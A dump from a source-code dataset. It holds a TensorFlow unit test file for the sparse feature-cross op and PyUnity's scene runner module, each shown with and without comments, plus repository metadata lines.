as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_permutation_3x1x2(self): """Tests 3x1x2 permutation. """ op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor( [['batch1-FC1-F1', 'batch1-FC1-F2', 'batch1-FC1-F3']]), self._sparse_tensor([['batch1-FC2-F1']]), self._sparse_tensor([['batch1-FC3-F1', 'batch1-FC3-F2']]) ]) expected_out = self._sparse_tensor([[ 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F2', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F2', 'batch1-FC1-F3_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F3_X_batch1-FC2-F1_X_batch1-FC3-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_large_batch(self): """Tests with large batch size to force multithreding. """ batch_size = 5000 col1 = [] col2 = [] col3 = [] for b in range(batch_size): col1.append( ['batch%d-FC1-F1' % b, 'batch%d-FC1-F2' % b, 'batch%d-FC1-F3' % b]) col2.append(['batch%d-FC2-F1' % b]) col3.append(['batch%d-FC3-F1' % b, 'batch%d-FC3-F2' % b]) op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor(col1), self._sparse_tensor(col2), self._sparse_tensor(col3) ]) col_out = [] for b in range(batch_size): col_out.append([ 'batch%d-FC1-F1_X_batch%d-FC2-F1_X_batch%d-FC3-F1' % (b, b, b), 'batch%d-FC1-F1_X_batch%d-FC2-F1_X_batch%d-FC3-F2' % (b, b, b), 'batch%d-FC1-F2_X_batch%d-FC2-F1_X_batch%d-FC3-F1' % (b, b, b), 'batch%d-FC1-F2_X_batch%d-FC2-F1_X_batch%d-FC3-F2' % (b, b, b), 'batch%d-FC1-F3_X_batch%d-FC2-F1_X_batch%d-FC3-F1' % (b, b, b), 'batch%d-FC1-F3_X_batch%d-FC2-F1_X_batch%d-FC3-F2' % (b, b, b) ]) expected_out = self._sparse_tensor(col_out) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_one_column_empty(self): """Tests when one column is empty. The crossed tensor should be empty. """ op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([['batch1-FC1-F1', 'batch1-FC1-F2']]), self._sparse_tensor([], 1), self._sparse_tensor([['batch1-FC3-F1', 'batch1-FC3-F2']]) ]) with self.test_session() as sess: self._assert_sparse_tensor_empty(sess.run(op)) def test_some_columns_empty(self): """Tests when more than one columns are empty. Cross for the corresponding batch should be empty. """ op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([['batch1-FC1-F1', 'batch1-FC1-F2']], 2), self._sparse_tensor([['batch1-FC2-F1'], ['batch2-FC2-F1']], 2), self._sparse_tensor([['batch1-FC3-F1', 'batch1-FC3-F2']], 2) ]) expected_out = self._sparse_tensor([[ 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F2', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F2' ]], 2) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_all_columns_empty(self): """Tests when all columns are empty. The crossed tensor should be empty. """ op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([]), self._sparse_tensor([]), self._sparse_tensor([]) ]) with self.test_session() as sess: self._assert_sparse_tensor_empty(sess.run(op)) def test_hashed_output_zero_bucket(self): """Tests a simple scenario. """ op = sparse_feature_cross_op.sparse_feature_cross( [ self._sparse_tensor([['batch1-FC1-F1']]), self._sparse_tensor([['batch1-FC2-F1']]), self._sparse_tensor([['batch1-FC3-F1']]) ], hashed_output=True) # Check actual hashed output to prevent unintentional hashing changes. expected_out = self._sparse_tensor([[3735511728867393167]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_hashed_output_zero_bucket_v2(self): """Tests a simple scenario. """ op = sparse_feature_cross_op.sparse_feature_cross( [ self._sparse_tensor([['batch1-FC1-F1']]), self._sparse_tensor([['batch1-FC2-F1']]), self._sparse_tensor([['batch1-FC3-F1']]) ], hashed_output=True, hash_key=layers.SPARSE_FEATURE_CROSS_DEFAULT_HASH_KEY) # Check actual hashed output to prevent unintentional hashing changes. expected_out = self._sparse_tensor([[1971693436396284976]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) # TODO(sibyl-Aix6ihai): Add benchmark to compare Hashed vs Non-hashed. def test_hashed_output(self): """Tests a simple scenario. """ op = sparse_feature_cross_op.sparse_feature_cross( [ self._sparse_tensor([['batch1-FC1-F1']]), self._sparse_tensor([['batch1-FC2-F1']]), self._sparse_tensor([['batch1-FC3-F1']]) ], hashed_output=True, num_buckets=100) # Check actual hashed output to prevent unintentional hashing changes. expected_out = self._sparse_tensor([[74]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_hashed_output_v2(self): """Tests a simple scenario. """ op = sparse_feature_cross_op.sparse_feature_cross( [ self._sparse_tensor([['batch1-FC1-F1']]), self._sparse_tensor([['batch1-FC2-F1']]), self._sparse_tensor([['batch1-FC3-F1']]) ], hashed_output=True, num_buckets=100, hash_key=layers.SPARSE_FEATURE_CROSS_DEFAULT_HASH_KEY) # Check actual hashed output to prevent unintentional hashing changes. expected_out = self._sparse_tensor([[83]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_hashed_output_v1_has_collision(self): """Tests the old version of the fingerprint concatenation has collisions. """ # The last 10 bits of 359 and 1024+359 are identical. # As a result, all the crosses collide. t1 = constant_op.constant([[359], [359 + 1024]]) t2 = constant_op.constant([list(range(10)), list(range(10))]) cross = sparse_feature_cross_op.sparse_feature_cross( [t2, t1], hashed_output=True, num_buckets=1024) cross_dense = sparse_ops.sparse_tensor_to_dense(cross) with session.Session(): values = cross_dense.eval() self.assertTrue(numpy.equal(values[0], values[1]).all()) def test_hashed_output_v2_has_no_collision(self): """Tests the new version of the fingerprint concatenation has no collisions. """ # Although the last 10 bits of 359 and 1024+359 are identical. # As a result, all the crosses shouldn't collide. t1 = constant_op.constant([[359], [359 + 1024]]) t2 = constant_op.constant([list(range(10)), list(range(10))]) cross = sparse_feature_cross_op.sparse_feature_cross( [t2, t1], hashed_output=True, num_buckets=1024, hash_key=layers.SPARSE_FEATURE_CROSS_DEFAULT_HASH_KEY) cross_dense = sparse_ops.sparse_tensor_to_dense(cross) with session.Session(): values = cross_dense.eval() self.assertTrue(numpy.not_equal(values[0], values[1]).all()) def test_hashed_3x1x2(self): """Tests 3x1x2 permutation with hashed output. """ op = sparse_feature_cross_op.sparse_feature_cross( [ self._sparse_tensor( [['batch1-FC1-F1', 'batch1-FC1-F2', 'batch1-FC1-F3']]), self._sparse_tensor([['batch1-FC2-F1']]), self._sparse_tensor([['batch1-FC3-F1', 'batch1-FC3-F2']]) ], hashed_output=True, num_buckets=1000) with self.test_session() as sess: out = sess.run(op) self.assertEqual(6, len(out.values)) self.assertAllEqual([[0, i] for i in range(6)], out.indices) self.assertTrue(all(x < 1000 and x >= 0 for x in out.values)) all_values_are_different = len(out.values) == len(set(out.values)) self.assertTrue(all_values_are_different) def _assert_sparse_tensor_empty(self, sp): self.assertEquals(0, sp.indices.size) self.assertEquals(0, sp.values.size) # TODO(zakaria): check if we can ignore the first dim of the shape. self.assertEquals(0, sp.dense_shape[1]) def _assert_sparse_tensor_equals(self, sp1, sp2): self.assertAllEqual(sp1.indices.eval(), sp2.indices) self.assertAllEqual(sp1.values.eval(), sp2.values) self.assertAllEqual(sp1.dense_shape.eval(), sp2.dense_shape) def _sparse_tensor(self, data, batch_size=-1): """Generates a SparseTensor. Args: data: Should be a list of list of strings or int64. Each item of the outer list represents a batch. Each item of the batch is a feature of a specific feature column. batch_size: optional batch size, especially for cases when data has no entry for some batches. Returns: A SparseTensor. """ indices = [] values = [] max_col_count = 0 for batch, batch_ix in zip(data, range(len(data))): for column, column_ix in zip(batch, range(len(batch))): indices.append([batch_ix, column_ix]) values.append(column) max_col_count = max(max_col_count, column_ix + 1) shape = [batch_size if batch_size != -1 else len(data), max_col_count] value_type = (dtypes.string if not values or isinstance(values[0], str) else dtypes.int64) return sparse_tensor.SparseTensor( constant_op.constant(indices, dtypes.int64, [len(indices), 2]), constant_op.constant(values, value_type, [len(indices)]), constant_op.constant(shape, dtypes.int64)) if __name__ == '__main__': test.main()

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from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy from tensorflow.contrib import layers from tensorflow.contrib.layers.python.ops import sparse_feature_cross_op from tensorflow.python.client import session from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import sparse_tensor from tensorflow.python.ops import sparse_ops from tensorflow.python.platform import test class SparseCrossOpTest(test.TestCase): def test_simple(self): op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([['batch1-FC1-F1'], ['batch2-FC1-F1', 'batch2-FC1-F2']]), self._sparse_tensor([['batch1-FC2-F1'], ['batch2-FC2-F1', 'batch2-FC2-F2']]) ]) expected_out = self._sparse_tensor([['batch1-FC1-F1_X_batch1-FC2-F1'], [ 'batch2-FC1-F1_X_batch2-FC2-F1', 'batch2-FC1-F1_X_batch2-FC2-F2', 'batch2-FC1-F2_X_batch2-FC2-F1', 'batch2-FC1-F2_X_batch2-FC2-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_dense(self): op = sparse_feature_cross_op.sparse_feature_cross([ constant_op.constant([['batch1-FC1-F1', 'batch1-FC1-F2'], ['batch2-FC1-F1', 'batch2-FC1-F2']], dtypes.string), constant_op.constant([['batch1-FC2-F1', 'batch1-FC2-F2'], ['batch2-FC2-F1', 'batch2-FC2-F2']], dtypes.string), ]) expected_out = self._sparse_tensor([[ 'batch1-FC1-F1_X_batch1-FC2-F1', 'batch1-FC1-F1_X_batch1-FC2-F2', 'batch1-FC1-F2_X_batch1-FC2-F1', 'batch1-FC1-F2_X_batch1-FC2-F2' ], [ 'batch2-FC1-F1_X_batch2-FC2-F1', 'batch2-FC1-F1_X_batch2-FC2-F2', 'batch2-FC1-F2_X_batch2-FC2-F1', 'batch2-FC1-F2_X_batch2-FC2-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_integer_mixed_string_sparse(self): op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([[11], [333, 55555]]), self._sparse_tensor([['batch1-FC2-F1'], ['batch2-FC2-F1', 'batch2-FC2-F2']]) ]) expected_out = self._sparse_tensor([['11_X_batch1-FC2-F1'], [ '333_X_batch2-FC2-F1', '333_X_batch2-FC2-F2', '55555_X_batch2-FC2-F1', '55555_X_batch2-FC2-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_integer_mixed_string_dense(self): op = sparse_feature_cross_op.sparse_feature_cross([ constant_op.constant([[11, 333], [55555, 999999]], dtypes.int64), constant_op.constant([['batch1-FC2-F1', 'batch1-FC2-F2'], ['batch2-FC2-F1', 'batch2-FC2-F2']], dtypes.string), ]) expected_out = self._sparse_tensor([[ '11_X_batch1-FC2-F1', '11_X_batch1-FC2-F2', '333_X_batch1-FC2-F1', '333_X_batch1-FC2-F2' ], [ '55555_X_batch2-FC2-F1', '55555_X_batch2-FC2-F2', '999999_X_batch2-FC2-F1', '999999_X_batch2-FC2-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_sparse_cross_dense(self): op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([['batch1-FC1-F1'], ['batch2-FC1-F1', 'batch2-FC1-F2']]), constant_op.constant([['batch1-FC2-F1', 'batch1-FC2-F2'], ['batch2-FC2-F1', 'batch2-FC2-F2']], dtypes.string), ]) expected_out = self._sparse_tensor( [['batch1-FC1-F1_X_batch1-FC2-F1', 'batch1-FC1-F1_X_batch1-FC2-F2'], [ 'batch2-FC1-F1_X_batch2-FC2-F1', 'batch2-FC1-F1_X_batch2-FC2-F2', 'batch2-FC1-F2_X_batch2-FC2-F1', 'batch2-FC1-F2_X_batch2-FC2-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_integer_sparse_input(self): op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([[11], [333, 5555]]), constant_op.constant([['batch1-FC2-F1', 'batch1-FC2-F2'], ['batch2-FC2-F1', 'batch2-FC2-F2']], dtypes.string), ]) expected_out = self._sparse_tensor( [['11_X_batch1-FC2-F1', '11_X_batch1-FC2-F2'], [ '333_X_batch2-FC2-F1', '333_X_batch2-FC2-F2', '5555_X_batch2-FC2-F1', '5555_X_batch2-FC2-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_permutation_3x3x3(self): op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor( [['batch1-FC1-F1', 'batch1-FC1-F2', 'batch1-FC1-F3']]), self._sparse_tensor( [['batch1-FC2-F1', 'batch1-FC2-F2', 'batch1-FC2-F3']]), self._sparse_tensor( [['batch1-FC3-F1', 'batch1-FC3-F2', 'batch1-FC3-F3']]) ]) expected_out = self._sparse_tensor([[ 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F2', 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F3', 'batch1-FC1-F1_X_batch1-FC2-F2_X_batch1-FC3-F1', 'batch1-FC1-F1_X_batch1-FC2-F2_X_batch1-FC3-F2', 'batch1-FC1-F1_X_batch1-FC2-F2_X_batch1-FC3-F3', 'batch1-FC1-F1_X_batch1-FC2-F3_X_batch1-FC3-F1', 'batch1-FC1-F1_X_batch1-FC2-F3_X_batch1-FC3-F2', 'batch1-FC1-F1_X_batch1-FC2-F3_X_batch1-FC3-F3', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F2', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F3', 'batch1-FC1-F2_X_batch1-FC2-F2_X_batch1-FC3-F1', 'batch1-FC1-F2_X_batch1-FC2-F2_X_batch1-FC3-F2', 'batch1-FC1-F2_X_batch1-FC2-F2_X_batch1-FC3-F3', 'batch1-FC1-F2_X_batch1-FC2-F3_X_batch1-FC3-F1', 'batch1-FC1-F2_X_batch1-FC2-F3_X_batch1-FC3-F2', 'batch1-FC1-F2_X_batch1-FC2-F3_X_batch1-FC3-F3', 'batch1-FC1-F3_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F3_X_batch1-FC2-F1_X_batch1-FC3-F2', 'batch1-FC1-F3_X_batch1-FC2-F1_X_batch1-FC3-F3', 'batch1-FC1-F3_X_batch1-FC2-F2_X_batch1-FC3-F1', 'batch1-FC1-F3_X_batch1-FC2-F2_X_batch1-FC3-F2', 'batch1-FC1-F3_X_batch1-FC2-F2_X_batch1-FC3-F3', 'batch1-FC1-F3_X_batch1-FC2-F3_X_batch1-FC3-F1', 'batch1-FC1-F3_X_batch1-FC2-F3_X_batch1-FC3-F2', 'batch1-FC1-F3_X_batch1-FC2-F3_X_batch1-FC3-F3' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_permutation_3x1x2(self): op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor( [['batch1-FC1-F1', 'batch1-FC1-F2', 'batch1-FC1-F3']]), self._sparse_tensor([['batch1-FC2-F1']]), self._sparse_tensor([['batch1-FC3-F1', 'batch1-FC3-F2']]) ]) expected_out = self._sparse_tensor([[ 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F2', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F2', 'batch1-FC1-F3_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F3_X_batch1-FC2-F1_X_batch1-FC3-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_large_batch(self): batch_size = 5000 col1 = [] col2 = [] col3 = [] for b in range(batch_size): col1.append( ['batch%d-FC1-F1' % b, 'batch%d-FC1-F2' % b, 'batch%d-FC1-F3' % b]) col2.append(['batch%d-FC2-F1' % b]) col3.append(['batch%d-FC3-F1' % b, 'batch%d-FC3-F2' % b]) op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor(col1), self._sparse_tensor(col2), self._sparse_tensor(col3) ]) col_out = [] for b in range(batch_size): col_out.append([ 'batch%d-FC1-F1_X_batch%d-FC2-F1_X_batch%d-FC3-F1' % (b, b, b), 'batch%d-FC1-F1_X_batch%d-FC2-F1_X_batch%d-FC3-F2' % (b, b, b), 'batch%d-FC1-F2_X_batch%d-FC2-F1_X_batch%d-FC3-F1' % (b, b, b), 'batch%d-FC1-F2_X_batch%d-FC2-F1_X_batch%d-FC3-F2' % (b, b, b), 'batch%d-FC1-F3_X_batch%d-FC2-F1_X_batch%d-FC3-F1' % (b, b, b), 'batch%d-FC1-F3_X_batch%d-FC2-F1_X_batch%d-FC3-F2' % (b, b, b) ]) expected_out = self._sparse_tensor(col_out) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_one_column_empty(self): op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([['batch1-FC1-F1', 'batch1-FC1-F2']]), self._sparse_tensor([], 1), self._sparse_tensor([['batch1-FC3-F1', 'batch1-FC3-F2']]) ]) with self.test_session() as sess: self._assert_sparse_tensor_empty(sess.run(op)) def test_some_columns_empty(self): op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([['batch1-FC1-F1', 'batch1-FC1-F2']], 2), self._sparse_tensor([['batch1-FC2-F1'], ['batch2-FC2-F1']], 2), self._sparse_tensor([['batch1-FC3-F1', 'batch1-FC3-F2']], 2) ]) expected_out = self._sparse_tensor([[ 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F2', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F2' ]], 2) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_all_columns_empty(self): op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([]), self._sparse_tensor([]), self._sparse_tensor([]) ]) with self.test_session() as sess: self._assert_sparse_tensor_empty(sess.run(op)) def test_hashed_output_zero_bucket(self): op = sparse_feature_cross_op.sparse_feature_cross( [ self._sparse_tensor([['batch1-FC1-F1']]), self._sparse_tensor([['batch1-FC2-F1']]), self._sparse_tensor([['batch1-FC3-F1']]) ], hashed_output=True) expected_out = self._sparse_tensor([[3735511728867393167]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_hashed_output_zero_bucket_v2(self): op = sparse_feature_cross_op.sparse_feature_cross( [ self._sparse_tensor([['batch1-FC1-F1']]), self._sparse_tensor([['batch1-FC2-F1']]), self._sparse_tensor([['batch1-FC3-F1']]) ], hashed_output=True, hash_key=layers.SPARSE_FEATURE_CROSS_DEFAULT_HASH_KEY) expected_out = self._sparse_tensor([[1971693436396284976]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_hashed_output(self): op = sparse_feature_cross_op.sparse_feature_cross( [ self._sparse_tensor([['batch1-FC1-F1']]), self._sparse_tensor([['batch1-FC2-F1']]), self._sparse_tensor([['batch1-FC3-F1']]) ], hashed_output=True, num_buckets=100) expected_out = self._sparse_tensor([[74]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_hashed_output_v2(self): op = sparse_feature_cross_op.sparse_feature_cross( [ self._sparse_tensor([['batch1-FC1-F1']]), self._sparse_tensor([['batch1-FC2-F1']]), self._sparse_tensor([['batch1-FC3-F1']]) ], hashed_output=True, num_buckets=100, hash_key=layers.SPARSE_FEATURE_CROSS_DEFAULT_HASH_KEY) expected_out = self._sparse_tensor([[83]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_hashed_output_v1_has_collision(self): t1 = constant_op.constant([[359], [359 + 1024]]) t2 = constant_op.constant([list(range(10)), list(range(10))]) cross = sparse_feature_cross_op.sparse_feature_cross( [t2, t1], hashed_output=True, num_buckets=1024) cross_dense = sparse_ops.sparse_tensor_to_dense(cross) with session.Session(): values = cross_dense.eval() self.assertTrue(numpy.equal(values[0], values[1]).all()) def test_hashed_output_v2_has_no_collision(self): t1 = constant_op.constant([[359], [359 + 1024]]) t2 = constant_op.constant([list(range(10)), list(range(10))]) cross = sparse_feature_cross_op.sparse_feature_cross( [t2, t1], hashed_output=True, num_buckets=1024, hash_key=layers.SPARSE_FEATURE_CROSS_DEFAULT_HASH_KEY) cross_dense = sparse_ops.sparse_tensor_to_dense(cross) with session.Session(): values = cross_dense.eval() self.assertTrue(numpy.not_equal(values[0], values[1]).all()) def test_hashed_3x1x2(self): op = sparse_feature_cross_op.sparse_feature_cross( [ self._sparse_tensor( [['batch1-FC1-F1', 'batch1-FC1-F2', 'batch1-FC1-F3']]), self._sparse_tensor([['batch1-FC2-F1']]), self._sparse_tensor([['batch1-FC3-F1', 'batch1-FC3-F2']]) ], hashed_output=True, num_buckets=1000) with self.test_session() as sess: out = sess.run(op) self.assertEqual(6, len(out.values)) self.assertAllEqual([[0, i] for i in range(6)], out.indices) self.assertTrue(all(x < 1000 and x >= 0 for x in out.values)) all_values_are_different = len(out.values) == len(set(out.values)) self.assertTrue(all_values_are_different) def _assert_sparse_tensor_empty(self, sp): self.assertEquals(0, sp.indices.size) self.assertEquals(0, sp.values.size) # TODO(zakaria): check if we can ignore the first dim of the shape. self.assertEquals(0, sp.dense_shape[1]) def _assert_sparse_tensor_equals(self, sp1, sp2): self.assertAllEqual(sp1.indices.eval(), sp2.indices) self.assertAllEqual(sp1.values.eval(), sp2.values) self.assertAllEqual(sp1.dense_shape.eval(), sp2.dense_shape) def _sparse_tensor(self, data, batch_size=-1): indices = [] values = [] max_col_count = 0 for batch, batch_ix in zip(data, range(len(data))): for column, column_ix in zip(batch, range(len(batch))): indices.append([batch_ix, column_ix]) values.append(column) max_col_count = max(max_col_count, column_ix + 1) shape = [batch_size if batch_size != -1 else len(data), max_col_count] value_type = (dtypes.string if not values or isinstance(values[0], str) else dtypes.int64) return sparse_tensor.SparseTensor( constant_op.constant(indices, dtypes.int64, [len(indices), 2]), constant_op.constant(values, value_type, [len(indices)]), constant_op.constant(shape, dtypes.int64)) if __name__ == '__main__': test.main()

true

f70164867ee92c37dd1f5df7f9995e1f24766eff

4,105

py

Python

pyunity/scenes/runner.py

rayzchen/PyUnity

8ed436eca7a84f05190c1fa275c58da5c6059926

[ "MIT" ]

null

pyunity/scenes/runner.py

rayzchen/PyUnity

8ed436eca7a84f05190c1fa275c58da5c6059926

[ "MIT" ]

null

pyunity/scenes/runner.py

rayzchen/PyUnity

8ed436eca7a84f05190c1fa275c58da5c6059926

[ "MIT" ]

null

__all__ = ["ChangeScene", "Runner", "WindowRunner", "NonInteractiveRunner", "newRunner"] from .. import config, render, Logger from ..events import EventLoopManager, WaitForUpdate, WaitForFixedUpdate, WaitForRender from ..errors import PyUnityException import copy import os class ChangeScene(Exception): pass class Runner: def __init__(self): self.scene = None self.next = None self.opened = False def setScene(self, scene): if self.opened: raise PyUnityException("Cannot set scene after opening runner") self.scene = copy.deepcopy(scene) def setNext(self, scene): if self.scene is None: raise PyUnityException("Cannot set next before first scene") self.next = copy.deepcopy(scene) raise ChangeScene def open(self): if self.scene is None: raise PyUnityException("Cannot open runner before setting a scene") if self.opened: Logger.Save() self.opened = True def setup(self): pass def load(self): if self.scene is None: raise PyUnityException("Cannot load runner before setting a scene") Logger.LogLine(Logger.DEBUG, "Starting scene") self.eventLoopManager = EventLoopManager() self.eventLoopManager.schedule(self.scene.updateFixed, ups=50, waitFor=WaitForFixedUpdate) self.eventLoopManager.addLoop(self.scene.startScripts()) def start(self): while True: try: self.eventLoopManager.start() break except ChangeScene: if self.next is None: raise self.eventLoopManager.quit() self.scene.cleanUp() self.scene = self.next self.next = None self.load() def quit(self): self.eventLoopManager.quit() self.scene.cleanUp() self.scene = None self.opened = False class WindowRunner(Runner): def open(self): super(WindowRunner, self).open() os.environ["PYUNITY_GL_CONTEXT"] = "1" self.window = config.windowProvider(self.scene.name) # front buffer self.window.refresh() render.fillScreen() # back buffer self.window.refresh() render.fillScreen() def setup(self): Logger.LogSpecial(Logger.INFO, Logger.ELAPSED_TIME) Logger.LogLine(Logger.DEBUG, "Compiling objects") Logger.LogLine(Logger.INFO, "Compiling shaders") render.compileShaders() Logger.LogSpecial(Logger.INFO, Logger.ELAPSED_TIME) Logger.LogLine(Logger.INFO, "Loading skyboxes") render.compileSkyboxes() Logger.LogSpecial(Logger.INFO, Logger.ELAPSED_TIME) def load(self): super(WindowRunner, self).load() self.eventLoopManager.schedule( self.scene.updateScripts, self.window.updateFunc, ups=config.fps, waitFor=WaitForUpdate) self.eventLoopManager.schedule( self.window.refresh, self.scene.Render, main=True, waitFor=WaitForRender) if self.scene.mainCamera is not None: self.window.setResize(self.scene.mainCamera.Resize) self.scene.startOpenGL() self.scene.startLoop() def start(self): super(WindowRunner, self).start() def quit(self): super(WindowRunner, self).quit() del self.window del os.environ["PYUNITY_GL_CONTEXT"] render.resetShaders() Logger.LogLine(Logger.INFO, "Reset shaders") render.resetSkyboxes() Logger.LogLine(Logger.INFO, "Reset skyboxes") class NonInteractiveRunner(Runner): def load(self): super(NonInteractiveRunner, self).load() self.eventLoopManager.schedule( self.scene.updateScripts, ups=config.fps, waitFor=WaitForUpdate) self.scene.startLoop() def newRunner(): if os.environ["PYUNITY_INTERACTIVE"] == "1": return WindowRunner() else: return NonInteractiveRunner()

31.098485

98

0.625335

__all__ = ["ChangeScene", "Runner", "WindowRunner", "NonInteractiveRunner", "newRunner"] from .. import config, render, Logger from ..events import EventLoopManager, WaitForUpdate, WaitForFixedUpdate, WaitForRender from ..errors import PyUnityException import copy import os class ChangeScene(Exception): pass class Runner: def __init__(self): self.scene = None self.next = None self.opened = False def setScene(self, scene): if self.opened: raise PyUnityException("Cannot set scene after opening runner") self.scene = copy.deepcopy(scene) def setNext(self, scene): if self.scene is None: raise PyUnityException("Cannot set next before first scene") self.next = copy.deepcopy(scene) raise ChangeScene def open(self): if self.scene is None: raise PyUnityException("Cannot open runner before setting a scene") if self.opened: Logger.Save() self.opened = True def setup(self): pass def load(self): if self.scene is None: raise PyUnityException("Cannot load runner before setting a scene") Logger.LogLine(Logger.DEBUG, "Starting scene") self.eventLoopManager = EventLoopManager() self.eventLoopManager.schedule(self.scene.updateFixed, ups=50, waitFor=WaitForFixedUpdate) self.eventLoopManager.addLoop(self.scene.startScripts()) def start(self): while True: try: self.eventLoopManager.start() break except ChangeScene: if self.next is None: raise self.eventLoopManager.quit() self.scene.cleanUp() self.scene = self.next self.next = None self.load() def quit(self): self.eventLoopManager.quit() self.scene.cleanUp() self.scene = None self.opened = False class WindowRunner(Runner): def open(self): super(WindowRunner, self).open() os.environ["PYUNITY_GL_CONTEXT"] = "1" self.window = config.windowProvider(self.scene.name) self.window.refresh() render.fillScreen() self.window.refresh() render.fillScreen() def setup(self): Logger.LogSpecial(Logger.INFO, Logger.ELAPSED_TIME) Logger.LogLine(Logger.DEBUG, "Compiling objects") Logger.LogLine(Logger.INFO, "Compiling shaders") render.compileShaders() Logger.LogSpecial(Logger.INFO, Logger.ELAPSED_TIME) Logger.LogLine(Logger.INFO, "Loading skyboxes") render.compileSkyboxes() Logger.LogSpecial(Logger.INFO, Logger.ELAPSED_TIME) def load(self): super(WindowRunner, self).load() self.eventLoopManager.schedule( self.scene.updateScripts, self.window.updateFunc, ups=config.fps, waitFor=WaitForUpdate) self.eventLoopManager.schedule( self.window.refresh, self.scene.Render, main=True, waitFor=WaitForRender) if self.scene.mainCamera is not None: self.window.setResize(self.scene.mainCamera.Resize) self.scene.startOpenGL() self.scene.startLoop() def start(self): super(WindowRunner, self).start() def quit(self): super(WindowRunner, self).quit() del self.window del os.environ["PYUNITY_GL_CONTEXT"] render.resetShaders() Logger.LogLine(Logger.INFO, "Reset shaders") render.resetSkyboxes() Logger.LogLine(Logger.INFO, "Reset skyboxes") class NonInteractiveRunner(Runner): def load(self): super(NonInteractiveRunner, self).load() self.eventLoopManager.schedule( self.scene.updateScripts, ups=config.fps, waitFor=WaitForUpdate) self.scene.startLoop() def newRunner(): if os.environ["PYUNITY_INTERACTIVE"] == "1": return WindowRunner() else: return NonInteractiveRunner()

true

f7016532b37838aa17bbc7b1b1e0324a6363051f

2,571

py

Python

docs/_ext/rapidsmsdocs.py

datamade/rapidsms

052766eca9d5a79ccc4d1d3b5956c1c34c0d99cb

[ "BSD-3-Clause" ]

null

docs/_ext/rapidsmsdocs.py

datamade/rapidsms

052766eca9d5a79ccc4d1d3b5956c1c34c0d99cb

